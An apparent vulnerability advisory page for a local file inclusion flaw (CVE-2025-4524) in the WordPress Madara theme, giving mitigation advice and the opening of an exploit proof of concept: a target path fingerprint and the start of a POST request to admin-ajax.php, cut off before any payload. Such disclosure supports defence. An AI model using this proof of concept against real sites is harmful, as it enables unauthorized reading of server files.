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WordPress Madara · Local File Inclusion
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What to do
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Until an official fix is available, it is recommended to restrict access to the vulnerable admin-ajax.php endpoint and implement web application firewall (WAF) rules to detect and block attempts to exploit local file inclusion via the 'template' parameter in POST requests.
Description
WordPress Madara - Local File Inclusion
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Exploit source code
# Exploit Title: WordPress Madara Local File Inclusion
# Date: November 1, 2025
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: WordPress Theme Madara
# Software Link: WordPress Theme Madara
# Tested on: [OS / PHP / WordPress versions used in testing — e.g., Ubuntu 22.04, PHP 8.1, WP 6.4]
# CVE: CVE-2025-4524
#Attack Vector
body="/wp-content/plugins/madara/"
#POC
POST /wp-admin/admin-ajax.php HTTP/2
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/2010…References
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